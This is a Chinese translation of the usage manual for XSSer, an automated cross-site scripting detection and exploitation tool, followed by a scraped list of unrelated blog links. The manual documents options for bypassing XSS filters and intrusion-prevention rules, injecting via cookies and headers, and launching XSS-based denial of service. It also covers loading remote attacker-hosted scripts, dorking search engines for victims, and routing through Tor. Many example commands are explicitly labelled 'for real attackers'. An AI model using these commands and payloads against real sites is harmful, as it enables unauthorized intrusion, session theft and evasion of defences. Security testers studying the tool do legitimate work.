=======================================================================

BackTrack 5 R1 XSS研究之XSSer(超强XSS攻击利器)使用说明中文版

XSSer使用说明
================================================================

简介:
===============================================================
跨站脚本者是一个自动框架,检测,利用和报告基于Web应用XSS漏洞。它包含几个选项,试图绕过某些过滤器,以及各种特殊的代码注入技术。
XSSer由一个遵循GPL V3的团队完成,版权属于psy ( - ).

================================================================
选项与设置:
==============================
 
xsser [OPTIONS] [-u <url> |-i <file> |-d <dork>] [-g
<get> |-p <post> |-c <crawl>] [Request(s)] [Vector(s)]
[Bypasser(s)] [Technique(s)] [Final Injection(s)]

Options:
  --version             显示程序的版本号
  -h, --help             显示帮助信息
  -s, --statistics     显示高级显示输出结果
  -v, --verbose       激活冗余模式输出结果
  --gtk                     加载 XSSer GTK 接口

*特别的用法*:
    你可以选择 Vector(s) 和 Bypasser(s) 结合特殊的用法来注入代码:

--imx=IMX           利用XSS代码植入来创建一个假的图象
    --fla=FLASH       利用XSS代码植入来创建一个假的swf

*选择目标*:
    至少有一个选择必须被指定来设置来源以获得目标(s)的url。. 你需要选择然后运行XSSer:

-u URL, --url=URL    键入目标URL进行分析
    -i READFILE            从一个文件中读取URL
    -d DORK                   利用搜索引擎傻瓜式的搜索URL
    --De=DORK_ENGINE    傻瓜式的利用搜索引擎 (bing, altavista,yahoo, baidu, yandex, youdao, webcrawler, ask, etc.查看 dork.py 文件来核对有效的搜索引擎)

*现则HTTP/HTTPS的连接类型*:
    These options can be used to specify which parameter(s) we want to use
    like payload to inject code.

-g GETDATA            输入一个负荷来进行审计,使用 GET参数 (例如: '/menu.php?q=')
    -p POSTDATA         输入一个负荷来进行审计,使用 POST 参数(例如: 'foo=1&bar=')
    -c CRAWLING         目标URL的爬行数目(s): 1-99999
    --Cw=CRAWLER_WIDTH  爬行深度: 1-5
    --Cl                            本地目标URL爬行 (默认 TRUE)

*安装 请求*:
    这些选项被用来制定如何攻击目标和使用负荷. 你有多重选择:

--cookie=COOKIE     改变你的HTTP Cookie header
    --user-agent=AGENT  改变你的 HTTP User-Agent header (默认 SPOOFED)
    --referer=REFERER   使用别的HTTP Referer header (默认 NONE)
    --headers=HEADERS   额外的 HTTP headers 换行隔开
    --auth-type=ATYPE   HTTP 认证类型 (基本值类型或者摘要)
    --auth-cred=ACRED   HTTP 认证证书 (值 name:password)
    --proxy=PROXY       使用代理服务器 (tor:http://localhost:8118)
    --timeout=TIMEOUT   设定时间延迟 (默认 30)
    --delay=DELAY       设定每一个 HTTP request值 (默认 8)
    --threads=THREADS   最大数目的 HTTP requests并发 (默认 5)
    --retries=RETRIES   连接超时重试 (默认 3)

*系统验校器*:
    这些选项对于有过滤器的XSS 攻击很有效 和或者重复所利用的代码:

--hash                如果目标重复内容,则每次检测hash
                               (对预知可能错误的结果非常有用)
    --heuristic         启发式的设置才检测那些脚本会被过滤: ;\/<>"'=

*选择 攻击向量(s)*:
    这些选项被用在特殊的 XSS 向量源代码来注入到每一个负荷中。非常重要的, 如果你不想尝试通用的XSS注入代码,
 请使用默认参数. 只有一个选项:

--payload=SCRIPT    OWN  - 插入你手动构造的XSS 语句-
    --auto              AUTO - 从文件中插入 XSSer '报告' 向量

*选择 Bypasser(s)*:
    这些选项用来编码所选择的攻击向量,如果目标使用反XSS过滤器代码和IPS规则,则尝试绕过所有的目标上的反XSS 过滤器代码和入侵防御系统规则,
 . 总之, 能结合其他的技巧 来提供编码:

--Str                 使用 String.FromCharCode()方法
    --Une               使用 Unescape() 函数
    --Mix                最小的 String.FromCharCode() 函数 和 Unescape()函数
    --Dec               使用小数编码
    --Hex               使用16进制编码
    --Hes               使用带分号的16进制编码
    --Dwo              编码IP地址向量为双字节
    --Doo               编码IP地址向量为八进制
    --Cem=CEM           手动尝试不同的字符编码
                        (反向混淆效果更好) -> (例如: 'Mix,Une,Str,Hex')

*特殊的技巧*:
    这些选项被用来尝试不同的XSS 技巧. 你可以进行多重选择:

--Coo               COO - 跨站脚本Cookies注入
    --Xsa                XSA -   跨站Agent 脚本
    --Xsr                 XSR -    跨站 Referer 脚本
    --Dcp               DCP - DCP注入
    --Dom              DOM - DOM注入
    --Ind                 IND - HTTP 包含代码的快速响应
    --Anchor           ANC - 使用影子攻击负荷 (DOM 影子!)

*Select Final injection(s)*:
    这些选项在攻击目标中用于特殊代码注入 Important, if you want to exploit on-the-wild
    your discovered vulnerabilities. Choose only one option:

--Fp=FINALPAYLOAD   OWN    - 手动插入注入代码-
    --Fr=FINALREMOTE    REMOTE - 远程插入注入代码
    --Doss              DOSs   - XSS 对服务端的拒绝服务攻击注入
    --Dos               DOS    - XSS 对客户端的拒绝服务攻击注入
    --B64               B64    - META标签 Base64编码(rfc2397)

*Special Final injection(s)*:
    These options can be used to execute some 'special' injection(s) in
    vulnerable target(s). You can select multiple and combine with your
    final code (except with DCP code):

--Onm             ONM - 使用 MouseMove() 事件注入代码
    --Ifr                   IFR - 使用 <iframe>资源标签注入代码

*混杂模式*:
    --silent              禁止控制台输出结果
    --update            检查XSSer 最新稳定版本
    --save                直接输入结果到模版文件 (XSSlist.dat)
    --xml=FILEXML 输出 'positives'到一个XML文件 (--xml filename.xml)
    --publish             输出 'positives'本地网络 (identi.ca)
    --short=SHORTURLS   显示最后的短代码 (tinyurl, is.gd)
    --launch              发现的每个XSS都在浏览器进行测试

================================================================
用法举例:
==============================

* 从URL进行简单XSS注入:

$ Python XSSer.py -u "http://host.com"

-------------------
* 从一个文件中读取URL并且进行简单的注入,同时设定代理参数和HTTP Header参数:

$ python XSSer.py -i "file.txt" --proxy "http://127.0.0.1:8118" --referer "666.666.666.666"

-------------------
* 从URL进行多重注入, 使用自动化负荷,和代理, 注入负荷使用116进制编码 "Hex", 产生冗长的输出,并且将结果保存到一个文件 (XSSlist.dat):

$ python XSSer.py -u "http://host.com" --proxy "http://127.0.0.1:8118" --auto --Hex --verbose -w

-------------------
* 从URL进行多重注入, 使用自动化负荷和特殊的文字编码(第一, 改变负荷为16进制; 第二, 改变第一次的编码为字节码到字符串; 第三,
把第二次的编码重新进行16进制编码), 使用代理欺骗, 改变时间延迟为 "20" and 使用多线程 (5 个线程):

$ python XSSer.py -u "http://host.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer!!" --timeout "20" --threads "5"

-------------------
* 从文件读取进行高级注入, 负荷采用 -own- payload 参数,并且使用Unescape() 函数进行字符编码绕过检测:

$ python XSSer.py -i "urls.txt" --payload 'a="get";b="URL(\"";c="JavaScript:";d="alert('XSS');\")";eval(a+b+c+d);' --Une

-------------------
* 傻瓜式的选择 "duck" 引擎进行注入 (XSSer 蠕虫!):

$ python XSSer.py --De "duck" -d "search.php?"

-------------------
* 注入爬行深度为3 ,页面数目(宽度)为4 来进行检测(XSSer 蜘蛛!):

$ python XSSer.py -c3 --Cw=4 -u "http://host.com"

-------------------
* 从URL简单注入, 使用POST方式, 并且统计结果:

$ python XSSer.py -u "http://host.com" -p "index.php?target=search&subtarget=top&searchstring=" -s

-------------------
* 从URL进行多重注入,发送参数类型为GET, 使用自动负荷, 使用八进制的IP地址进行混淆并且输出结果到一个 "tinyurl" 短网址 (为分享者准备!):

$ python XSSer.py -u "http://host.com" -g "bs/?q=" --auto --Doo --short tinyurl

-------------------
* 从URL进行简单注入, 使用 GET 参数, 用Cookies参数注入一个向量, 尝试使用一个 DOM 幽灵空间 (服务器无日志记录!) 如果存在任何 "漏洞", 则手工植入 "恶意" 代码 (为真正的攻击者准备!):

$ python XSSer.py -u "http://host.com" -g "bs/?q=" --Coo --Anchor --Fr="!enter your final injection code here!"

-------------------
* 从URL进行简单注入, 使用 GET 参数, 尝试产生一个带 "恶意代码" 短网址 (is.gd) 使用一个有效的DOS来攻击客户端:

$ python XSSer.py -u "http://host.com" -g "bs/?q=" --Dos --short "is.gd"

-------------------
* 多点多重注入, 从一个目标中提取目标, 运行自动负荷,改变时间延时为 "20" ,并且使用多线程(5 个线程), 增加延时到10 s,
注入参数到HTTP 的USer-Agent, HTTP 参数 和 Cookies参数, 使用Tor代理, IP进行八进制混淆, 进行结果统计,
冗长 模式创建短网址 (tinyurl) 来发现任何有效的攻击负荷 (真正的攻击模式!):

$ python XSSer.py -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://127.0.0.1:8118" --Doo -s --verbose --Dos --short "tinyurl"

-------------------
* 注入用户的XSS攻击向量在 "在空白处"创建带恶意代码的虚假图片, 并且准备被上传.

$ python XSSer.py --Imx "test.png" --payload "!在这儿输入你的恶意代码!"

-------------------
* 报告输出'positives' 注入到 dorking搜索 (使用 "ask" dorker) ,直接写入到一个 XML 文件.

$ python XSSer.py -d "login.php" --De "ask" --xml "security_report_XSSer_Dork_cuil.xml"

-------------------
* 在 dorking 搜索中输出正确的结果 (使用 "duck" 标示) 可以直接查看http://identi.ca
(XSS 渗透测试 Vs 僵尸网络联盟)

$ python XSSer.py -d "login.php" --De "duck" --publish

* 在线例子:

-http://identi.ca/xsserbot01
-http://twitter.com/xsserbot01

-------------------
* 使用XSS代码注入创建一个 .swf 文件

$ python XSSer.py --imx "name_of_file"

-------------------
* 如果目标产生错误的结果,则每次发送一个检测hash。

$ python XSSer.py -u "host.com" --check

-------------------
* 从URL进行多重Fuzz注入, 包含 DCP 注入 利用自己的代码, 用短网址进行欺骗, 发现有用的结果. XSS实时利用.

$ python XSSer.py -u "host.com" --auto --Dcp --Fp "enter_your_code_here" --short "is.gd"

-------------------
* Base64 编码中间的标记(rfc2397) 从而对一个可攻击目标进行手工利用.
 
$ python XSSer.py -u "host.com" -g "vulnerable_path" --payload "valid_vector_injected" --B64

-------------------
* 利用自己的 "own" -远程代码-直接在浏览器中进行加载和Fuzz测试。
 
$ python XSSer.py -u "host.com" -g "vulnerable_path" --auto --Fr "my_host/path/code.js" --launch

超强XSS攻击利器的更多相关文章

  1. CSP内容安全策略总结及如何抵御 XSS 攻击

    跨域脚本攻击 XSS 是最常见.危害最大的网页安全漏洞.为了防止它们,要采取很多编程措施,非常麻烦.很多人提出,能不能根本上解决问题,浏览器自动禁止外部注入恶意脚本?这就是"网页安全政策&q ...

  2. 防御XSS攻击-encode用户输入内容的重要性

    一.开场先科普下XSS 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶 ...

  3. 防止XSS攻击的方法

    什么是XSS? 使用Jsoup来防止XSS攻击 Jsoup官网 Jsoup中文 maven包引入 <dependency> <groupId>org.jsoup</gro ...

  4. PHP通用的XSS攻击过滤函数,Discuz系统中 防止XSS漏洞攻击,过滤HTML危险标签属性的PHP函数

    XSS攻击在最近很是流行,往往在某段代码里一不小心就会被人放上XSS攻击的代码,看到国外有人写上了函数,咱也偷偷懒,悄悄的贴上来... 原文如下: The goal of this function ...

  5. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

  6. XSS攻击及防御

    XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入 ...

  7. XSS攻击

    什么是XSS? http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html XSS攻击及防御? http://blog.csdn. ...

  8. 文本XSS攻击过滤

    在FCK或百度编辑器等常用富文本编辑器中,通常是会被XSS攻击 处理方法: 文本框模拟输入了以下文本 <span style="dispaly:none" onclick=& ...

  9. XSS攻击的解决方法

    在我上一篇<前端安全之XSS攻击>文中,并没有把XSS攻击的解决办法说完整,而XSS的攻击又那么五花八门,有没有一招“独孤九剑”能够抗衡,毕竟那么多情况场景,开发人员无法一一照顾过来,而今 ...

随机推荐

  1. 2016 Multi-University Training Contest 5 solutions BY ZSTU

    ATM Mechine E(i,j):存款的范围是[0,i],还可以被警告j次的期望值. E(i,j) = \(max_{k=1}^{i}{\frac{i-k+1}{i+1} * E(i-k,j)+\ ...

  2. memcached 笔记之windows 7 下面 安装memcached 报错

    windows 7 下面 安装memcached 报错 两种情况: 一:服务确实已经安装过 .如需要重新安装,当然是先memcached.exe -d uninstall 二:奇怪的是服务确实没有安装 ...

  3. Topcoder 658Div2

    补题风向标——>> 假装题意知道 A:暴力合成一遍了 n=s.size(); m=t.size(); ss+=s; tt+=t; if (ss==tt) or not; B:题意是给定 1 ...

  4. IntelliJ IDEA 基本配置入门

    前言:今天下载安装IntelliJ IDEA.随手创建了一个项目,运行Build提示错误. 与大多数用于开发JAVA的IDE类似,不做不论什么配置.编译是不会成功的.因此我尝试对IDEA的配置进行了一 ...

  5. 专题开发十二:JEECG微云高速开发平台-基础用户权限

      专题开发十二:JEECG微云高速开发平台-基础用户权限 11.3.4自己定义button权限 Jeecg中.眼下button权限设置,是通过对平台自己封装的button标签(<t:dgFun ...

  6. MySQL基础笔记(四) 索引

    一.什么是索引 索引(Index),可以看作一个指针,指向表里的数据.当数据库没有索引时,查找信息通常是全表扫描:使用了索引,它就会直接引导到数据在表里的准确物理位置. 优点:索引的主要目的是提高数据 ...

  7. HDOJ 4455 Substrings 递推+树状数组

    pre[i]第i位数往前走多少位碰到和它同样的数 dp[i]表示长度为i的子串,dp[i]能够由dp[i-1]加上从i到n的pre[i]>i-1的数减去最后一段长度为i-1的断中的不同的数得到. ...

  8. HDUJ 1203 I NEED A OFFER!

    I NEED A OFFER! Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others) ...

  9. 【内存数据库】OracleTimesten连接DSN创建用户

    ************************************************************************ ****原文:blog.csdn.net/clark_ ...

  10. 【iOS系列】-iOS的多线程解析

    [iOS系列]-iOS的多线程解析 iOS的多线程实现技术: 1:GCD -- Grand Central Dispatch 是基于C语言的底层API 用Block定义任务,使用起来非常灵活便捷 提供 ...